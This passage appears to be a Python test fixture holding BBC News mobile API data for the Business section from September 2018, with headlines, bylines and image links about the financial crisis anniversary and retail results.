"http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "On average earnings are 3% below where they were a decade ago, the Institute for Fiscal Studies says.", "type": "CSP" }, { "assetId": "45491533", "assetUri": "/news/business-45491533", "firstCreated": "2018-09-12T04:00:44+00:00", "headline": "Carney warns against complacency", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T04:00:44+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Governor of the Bank of England tells the BBC there are four risks to financial stability.", "type": "CSP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Protection dictates how many animals migrate and so it was with savers during the financial crisis.", "type": "STY" }, { "assetId": "45493147", "assetUri": "/news/business-45493147", "byline": { "name": "By Karishma Vaswani", "persons": [ { "name": "Karishma Vaswani", "correspondentId": "karishmavaswani", "url": "/news/correspondents/karishmavaswani", "function": "Asia business correspondent", "thumbnail": "http://c.files.bbci.co.uk/14261/production/_84692528_karishma-headshot.jpg", "twitterName": "BBCKarishma", "originCode": "CPSPRODPB" } ], "title": "Asia business correspondent" }, "firstCreated": "2018-09-12T23:01:44+00:00", "headline": "How the crisis accelerated the rise of China", "language": "en-gb", "lastUpdated": "2018-09-12T23:01:44+00:00", "media": { "images": { "index": { "103391980": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/22D7/production/_103391980_chinatrade.jpg", "originCode": "cpsprodpb", "altText": "Chinese port", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "How the crisis accelerated China's rise", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45491533", "assetUri": "/news/business-45491533", "firstCreated": "2018-09-12T04:00:44+00:00", "headline": "Carney warns against complacency", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T04:00:44+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Governor of the Bank of England tells the BBC there are four risks to financial stability.", "type": "CSP" }, { "assetId": "45488784", "assetUri": "/news/business-45488784", "firstCreated": "2018-09-12T23:01:27+00:00", "headline": "How safe are my savings after the crisis?", "language": "en-gb", "lastUpdated": "2018-09-12T23:01:27+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Protection dictates how many animals migrate and so it was with savers during the financial crisis.", "type": "STY" }, { "assetId": "44952925", "assetUri": "/news/business-44952925", "firstCreated": "2018-07-26T14:41:46+00:00", "headline": "How did the 2008 financial crisis affect you?", "language": "en-gb", "lastUpdated": "2018-07-26T14:41:46+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/AskTheAudience", "categoryName": "Ask the Audience" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "It was said to be the worst financial crisis since the 1930s. Did the 2008 crash change your life for better or worse?", "type": "STY" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The global financial crisis had huge consequences for banks around the world, including in Asia, and accelerated China's rise.", "type": "CSP" }, { "assetId": "45503767", "assetUri": "/news/business-45503767", "firstCreated": "2018-09-12T23:04:34+00:00", "headline": "'I wanted to set up the antithesis of Lehmans'", "language": "en-gb", "lastUpdated": "2018-09-12T23:04:34+00:00", "media": { "images": { "index": { "103401436": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/F7B2/production/_103401436_anil2.jpg", "originCode": "cpsprodpb", "altText": "Anil Stocker", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45503768": { "externalId": "p06l03s2", "caption": "'I wanted to set up the antithesis of Lehmans'", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "prominence": "none", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Three former Lehman workers recall the bank going bust 10 years ago and how they've used their experiences to set up their own companies.", "type": "MAP" }, { "assetId": "45502105", "assetUri": "/news/world-us-canada-45502105", "firstCreated": "2018-09-12T22:23:56+00:00", "headline": "Was the class of 2008 the unluckiest in history?", "language": "en-gb", "lastUpdated": "2018-09-12T22:23:56+00:00", "media": { "images": { "index": { "103403444": { "height": 1080, "width": 1920, "href": "http://c.files.bbci.co.uk/AD8E/production/_103403444_posterimage5-2.jpg", "originCode": "cpsprodpb", "altText": "Two graduates from the class of 08", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45456017": { "externalId": "p06l0fxs", "caption": "Was the class of 2008 the unluckiest in history?", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "none", "section": { "name": "US & Canada", "id": "99127", "uri": "/news/world/us_and_canada", "urlIdentifier": "/news/world/us_and_canada" }, "summary": "Around 1.5m students graduated from US universities just as the financial crash upended the economy.", "type": "MAP" }, { "assetId": "45503765", "assetUri": "/news/business-45503765", "firstCreated": "2018-09-12T17:16:19+00:00", "headline": "Ex-Woolies worker 'had to make sacrifices'", "language": "en-gb", "lastUpdated": "2018-09-12T17:16:19+00:00", "media": { "images": { "index": { "103401434": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/A992/production/_103401434_p06kzzgb.jpg", "originCode": "cpsprodpb", "altText": "Earl Marchan", "copyrightHolder": "BBC", "allowSyndication": False } } }, "videos": { "primary": { "45503766": { "externalId": "p06kzyrh", "caption": "Former Woolworths worker: 'I'm actually worse off than I was 10 years ago'", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "prominence": "none", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Former Woolworths employee Earl Marchan tells the BBC how the financial crisis affected him.", "type": "MAP" }, { "assetId": "45487695", "assetUri": "/news/business-45487695", "byline": { "name": "By Kamal Ahmed", "persons": [ { "name": "Kamal Ahmed", "correspondentId": "kamalahmed", "url": "/news/correspondents/kamalahmed", "function": "Economics editor", "thumbnail": "http://c.files.bbci.co.uk/03B0/production/_87244900_cba3378a-bc36-4179-bb88-f13993662cac.jpg", "twitterName": "bbckamal", "originCode": "CPSPRODPB" } ], "title": "Economics editor" }, "firstCreated": "2018-09-11T23:02:10+00:00", "hasShortForm": True, "headline": "Workers are 800 a year poorer post-crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-11T23:02:10+00:00", "media": { "images": { "index": { "103378361": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/4003/production/_103378361_commuters.jpg", "originCode": "cpsprodpb", "altText": "commuters in the rain", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Workers are 800 a year poorer", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45483636", "assetUri": "/news/business-45483636", "firstCreated": "2018-09-11T23:04:32+00:00", "headline": "How did the crisis affect your finances?", "language": "en-gb", "lastUpdated": "2018-09-11T23:04:32+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "A decade on, the way we deal with our personal finances has changed - but not always for good.", "type": "STY" }, { "assetId": "45489064", "assetUri": "/news/business-45489064", "firstCreated": "2018-09-11T23:19:42+00:00", "headline": "Who was to blame for the financial crisis?", "language": "en-gb", "lastUpdated": "2018-09-11T23:19:42+00:00", "mediaType": "Video", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Explainer", "categoryName": "Explainer" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "BBC Business editor Simon Jack explores who could have been to blame for the global financial crisis.", "type": "MAP" }, { "assetId": "45488814", "assetUri": "/news/uk-45488814", "firstCreated": "2018-09-11T23:26:45+00:00", "headline": "'I earn the same as 10 years ago'", "language": "en-gb", "lastUpdated": "2018-09-11T23:26:45+00:00", "mediaType": "Video", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "UK", "id": "99116", "uri": "/news/uk", "urlIdentifier": "/news/uk" }, "summary": "A decade on from the 2008 global financial crisis, families are still feeling the effects.", "type": "MAP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "On average earnings are 3% below where they were a decade ago, the Institute for Fiscal Studies says.", "type": "CSP" }, { "assetId": "45491533", "assetUri": "/news/business-45491533", "byline": { "name": "By Kamal Ahmed", "persons": [ { "name": "Kamal Ahmed", "correspondentId": "kamalahmed", "url": "/news/correspondents/kamalahmed", "function": "Economics editor", "thumbnail": "http://c.files.bbci.co.uk/03B0/production/_87244900_cba3378a-bc36-4179-bb88-f13993662cac.jpg", "twitterName": "bbckamal", "originCode": "CPSPRODPB" } ], "title": "Economics editor" }, "firstCreated": "2018-09-12T04:00:44+00:00", "headline": "Carney warns against complacency", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T04:00:44+00:00", "media": { "images": { "index": { "103386951": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/3E60/production/_103386951_carney.jpg", "originCode": "cpsprodpb", "altText": "Mark Carney", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45487695", "assetUri": "/news/business-45487695", "firstCreated": "2018-09-11T23:02:10+00:00", "hasShortForm": True, "headline": "Workers are 800 a year poorer post-crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-11T23:02:10+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "On average earnings are 3% below where they were a decade ago, the Institute for Fiscal Studies says.", "type": "CSP" }, { "assetId": "45482461", "assetUri": "/news/business-45482461", "firstCreated": "2018-09-11T11:23:09+00:00", "hasShortForm": True, "headline": "Carney to stay at Bank of England until 2020", "language": "en-gb", "lastUpdated": "2018-09-11T13:48:36+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Mark Carney extends term as Bank of England governor until the end of January 2020, chancellor says.", "type": "STY" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Governor of the Bank of England tells the BBC there are four risks to financial stability.", "type": "CSP" }, { "assetId": "45488397", "assetUri": "/news/business-45488397", "byline": { "name": "By Dominic O'Connell", "persons": [ { "name": "Dominic O'Connell", "function": "Today business presenter", "originCode": "MCS" } ], "title": "Today Programme business presenter" }, "firstCreated": "2018-09-12T06:39:43+00:00", "hasShortForm": True, "headline": "Lehman gamble paid out for brave investors", "language": "en-gb", "lastUpdated": "2018-09-12T06:39:43+00:00", "media": { "images": { "index": { "103382691": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/4CAC/production/_103382691_lb.jpg", "originCode": "cpsprodpb", "altText": "Lehman UK staff", "copyrightHolder": "Reuters", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Lehman bet paid off for investors", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45491533", "assetUri": "/news/business-45491533", "firstCreated": "2018-09-12T04:00:44+00:00", "headline": "Carney warns against complacency", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T04:00:44+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Governor of the Bank of England tells the BBC there are four risks to financial stability.", "type": "CSP" }, { "assetId": "45487695", "assetUri": "/news/business-45487695", "firstCreated": "2018-09-11T23:02:10+00:00", "hasShortForm": True, "headline": "Workers are 800 a year poorer post-crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-11T23:02:10+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "On average earnings are 3% below where they were a decade ago, the Institute for Fiscal Studies says.", "type": "CSP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Some investors who took a punt on the wreck of Lehman Brothers' UK operations made handsome returns.", "type": "STY" }, { "assetId": "45483636", "assetUri": "/news/business-45483636", "byline": { "name": "By Simon Read & Daniele Palumbo ", "persons": [ { "name": "Simon Read", "function": "Personal finance reporter", "originCode": "MCS" }, { "name": "Daniele Palumbo", "function": "Data journalist", "twitterName": "danict89", "originCode": "MCS" } ], "title": "Personal finance reporter" }, "firstCreated": "2018-09-11T23:04:32+00:00", "headline": "How did the crisis affect your finances?", "language": "en-gb", "lastUpdated": "2018-09-11T23:04:32+00:00", "media": { "images": { "index": { "103391986": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/10D37/production/_103391986_financesgettyimages-612736550.jpg", "originCode": "cpsprodpb", "altText": "Woman holds head in shock", "copyrightHolder": "Getty Images", "allowSyndication": True } }, "index-thumbnail": { "103391989": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/18267/production/_103391989_financesgettyimages-612736550.jpg", "originCode": "cpsprodpb", "altText": "Woman holds head in shock", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "How did it affect your finances?", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "none", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45487695", "assetUri": "/news/business-45487695", "firstCreated": "2018-09-11T23:02:10+00:00", "hasShortForm": True, "headline": "Workers are 800 a year poorer post-crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-11T23:02:10+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "On average earnings are 3% below where they were a decade ago, the Institute for Fiscal Studies says.", "type": "CSP" }, { "assetId": "45489064", "assetUri": "/news/business-45489064", "firstCreated": "2018-09-11T23:19:42+00:00", "headline": "Who was to blame for the financial crisis?", "language": "en-gb", "lastUpdated": "2018-09-11T23:19:42+00:00", "mediaType": "Video", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Explainer", "categoryName": "Explainer" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "BBC Business editor Simon Jack explores who could have been to blame for the global financial crisis.", "type": "MAP" }, { "assetId": "45488814", "assetUri": "/news/uk-45488814", "firstCreated": "2018-09-11T23:26:45+00:00", "headline": "'I earn the same as 10 years ago'", "language": "en-gb", "lastUpdated": "2018-09-11T23:26:45+00:00", "mediaType": "Video", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "UK", "id": "99116", "uri": "/news/uk", "urlIdentifier": "/news/uk" }, "summary": "A decade on from the 2008 global financial crisis, families are still feeling the effects.", "type": "MAP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "A decade on, the way we deal with our personal finances has changed - but not always for good.", "type": "STY" } ], "semanticGroupName": "Cluster 1" } ], "options": { "allowAdvertising": True }, "language": "en-gb", "id": "http://www.bbc.co.uk/asset/b5c53243-711d-e059-e040-850a02846523/mobile/domestic", "assetUri": "/news/business", "platform": "mobile", "audience": "domestic", "assetId": "10059368", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "site": { "name": "BBC News", "code": "news-v6", "urlIdentifier": "/news", "frontPageUri": "/news/front_page" }, "workerCallingCard": "app1163.back.live.telhc.local-47", "iStatsCounterName": "news.business.page" } ] } TEST_TREVOR_JSON = { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ { "eTag" : "059b8b36de81b69fc7fe909456bef247", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.top-story", "content" : { "id" : "/cps/news/business-45506322", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536823677000, "site" : "/news", "name" : "John Lewis profits slump 99% in 'challenging times'", "summary" : "The retailer's half-year profits slump to 1.2m amid discounting \"extravaganza days\" by rivals.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "John Lewis half-year profits slump 99%", "iStatsCounter" : "news.business.story.45506322.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/8D36/production/_103405163_9yniarol.jpg", "type" : "bbc.mobile.news.image", "width" : 768, "height" : 432, "href" : "http://c.files.bbci.co.uk/8D36/production/_103405163_9yniarol.jpg", "altText" : "John Lewis store", "copyrightHolder" : "Reuters", "urn" : "urn:bbc:content:assetUri:asset:prodpb/8D36/production/_103405163_9yniarol.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45506322", "shareUrl" : "http://www.bbc.co.uk/news/business-45506322", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45506322" } } }, { "eTag" : "1b3b23b7cb455659c8f05ab64ce8b54a", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.second-story", "content" : { "id" : "/cps/news/business-45504521", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536811688000, "site" : "/news", "name" : "Gordon Brown in dire warning about the next financial crisis", "summary" : "The former prime minister tells the BBC that the world is sleepwalking into another financial crisis.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Gordon Brown warns about next crisis", "iStatsCounter" : "news.business.correspondent_story.45504521.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/15770/production/_103402978_brown.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/15770/production/_103402978_brown.jpg", "altText" : "BBC", "copyrightHolder" : "BBC", "urn" : "urn:bbc:content:assetUri:asset:prodpb/15770/production/_103402978_brown.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.video", "secondaryType" : "bbc.mobile.news.placement.primary", "content" : { "id" : "/video/p06l03tr", "type" : "bbc.mobile.news.video", "duration" : 71000, "caption" : "Gordon Brown says we are sleepwalking into another financial crisis", "externalId" : "p06l03tx", "isEmbeddable" : True, "isAvailable" : True, "relations" : [ ], "iChefUrl" : "http://ichef.bbci.co.uk/images/ic/$recipe/p06l0bv0.jpg" } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45504521", "shareUrl" : "http://www.bbc.co.uk/news/business-45504521", "iStatsLabels" : { "page_type" : "correspondent-story", "cps_asset_id" : "45504521" } } }, { "eTag" : "eb0fd6fc988161a07d3a8a2d393f861f", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.third-story", "content" : { "id" : "/cps/news/live/business-45449121", "type" : "bbc.mobile.news.live_event_ext", "format" : "bbc.mobile.news.format.liveevent", "language" : "en-gb", "lastUpdated" : 1536319541000, "name" : "Business Live: Thursday 13 September", "summary" : "All the day's business news and views from the UK and beyond, as it happens.", "shortName" : "Business Live: Thursday 13 September", "iStatsCounter" : "news.business.live_coverage.45449121.page", "commentaryId" : "/commentary/45449127", "isLive" : False, "liveStatus" : "AUTO", "scheduledStartTime" : "2018-09-13T00:00:00+00:00", "scheduledEndTime" : "2018-09-13T20:45:00+00:00", "isAllDayEvent" : False, "keyPoints" : [ "Get in touch: [email protected]" ], "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/10A6D/production/_102650286_gherkin.ground.gc.jpg", "type" : "bbc.mobile.news.image", "width" : 1061, "height" : 597, "href" : "http://c.files.bbci.co.uk/10A6D/production/_102650286_gherkin.ground.gc.jpg", "altText" : "City of London", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/10A6D/production/_102650286_gherkin.ground.gc.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/live/business-45449121", "shareUrl" : "http://www.bbc.co.uk/news/live/business-45449121", "site" : "/news", "live" : False, "iStatsLabels" : { "page_type" : "live-coverage", "cps_asset_id" : "45449121" } } }, { "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "a5fd5e0e31d964eb6921a38757382ee3", "type" : "bbc.mobile.news.group.link", "shareUrl" : "http://www.bbc.co.uk/news/business/market-data", "name" : "Live market data", "summary" : "Live market data", "lastUpdated" : 1525776290000, "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/AC77/production/_101215144_marketimage_getty.jpg", "type" : "bbc.mobile.news.image", "width" : 2048, "height" : 1152, "href" : "http://c.files.bbci.co.uk/AC77/production/_101215144_marketimage_getty.jpg", "altText" : "Market data image", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/AC77/production/_101215144_marketimage_getty.jpg", "relations" : [ ] } } ], "allowAdvertising" : True, "iStatsLabels" : { } } }, { "eTag" : "94b848a4d2104fefb50cab4233738f78", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45506492", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536822363000, "site" : "/news", "name" : "Morrisons sales soar as revival continues", "summary" : "The UK's fourth-biggest supermarket reports its best quarterly sales increase for almost a decade.", "passport" : { "category" : { "categoryName" : "News" } }, "shortName" : "Morrisons sales soar as revival continues", "iStatsCounter" : "news.business.story.45506492.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/DFA2/production/_103405275_morrisons.jpg", "type" : "bbc.mobile.news.image", "width" : 2048, "height" : 1152, "href" : "http://c.files.bbci.co.uk/DFA2/production/_103405275_morrisons.jpg", "altText" : "Morrisons", "copyrightHolder" : "Reuters", "urn" : "urn:bbc:content:assetUri:asset:prodpb/DFA2/production/_103405275_morrisons.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" : "urn:bbc:content:assetUri:asset:/news/business", "shareUrl" : "http://www.bbc.co.uk/news/business", "eTag" : "412c170772317291285da46cc8bb111b" } } ], "urn" : "urn:bbc:content:assetUri:asset:/news/business-45506492", "shareUrl" : "http://www.bbc.co.uk/news/business-45506492", "iStatsLabels" : { "page_type" : "story", "cps_asset_id" : "45506492" } } }, { "eTag" : "588cc18691949ba3b2a75700a7e533f2", "primaryType" : "bbc.mobile.news.item", "secondaryType" : "bbc.mobile.news.group.other-top-stories", "content" : { "id" : "/cps/news/business-45498235", "type" : "bbc.mobile.news.item", "format" : "bbc.mobile.news.format.textual", "language" : "en-gb", "lastUpdated" : 1536819146000, "site" : "/news", "name" : "Bob Diamond defends risk-taking banks", "summary" : "Former Barclays boss Bob Diamond says risk-averse banks can't create jobs and economic growth.", "passport" : { "category" : { "categoryName" : "Analysis" } }, "shortName" : "Bob Diamond defends risk-taking banks", "iStatsCounter" : "news.business.correspondent_story.45498235.page", "relations" : [ { "primaryType" : "bbc.mobile.news.image", "secondaryType" : "bbc.mobile.news.placement.index", "content" : { "id" : "/cpsprodpb/7165/production/_103392092_bobdiamond.jpg", "type" : "bbc.mobile.news.image", "width" : 976, "height" : 549, "href" : "http://c.files.bbci.co.uk/7165/production/_103392092_bobdiamond.jpg", "altText" : "Bob Diamond", "copyrightHolder" : "Getty Images", "urn" : "urn:bbc:content:assetUri:asset:prodpb/7165/production/_103392092_bobdiamond.jpg", "relations" : [ ] } }, { "primaryType" : "bbc.mobile.news.collection", "secondaryType" : "bbc.mobile.news.home_section", "content" : { "id" : "/cps/news/business", "type" : "bbc.mobile.news.collection", "format" : "bbc.mobile.news.cps.idx", "language" : "en-gb", "lastUpdated" : 1536824521000, "site" : "/news", "name" : "Business", "summary" : "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "iStatsCounter" : "news.business.page", "iStatsLabels" : { "page_type" : "index", "cps_asset_id" : "10059368" }, "allowAdvertising" : True, "relations" : [ ], "urn" 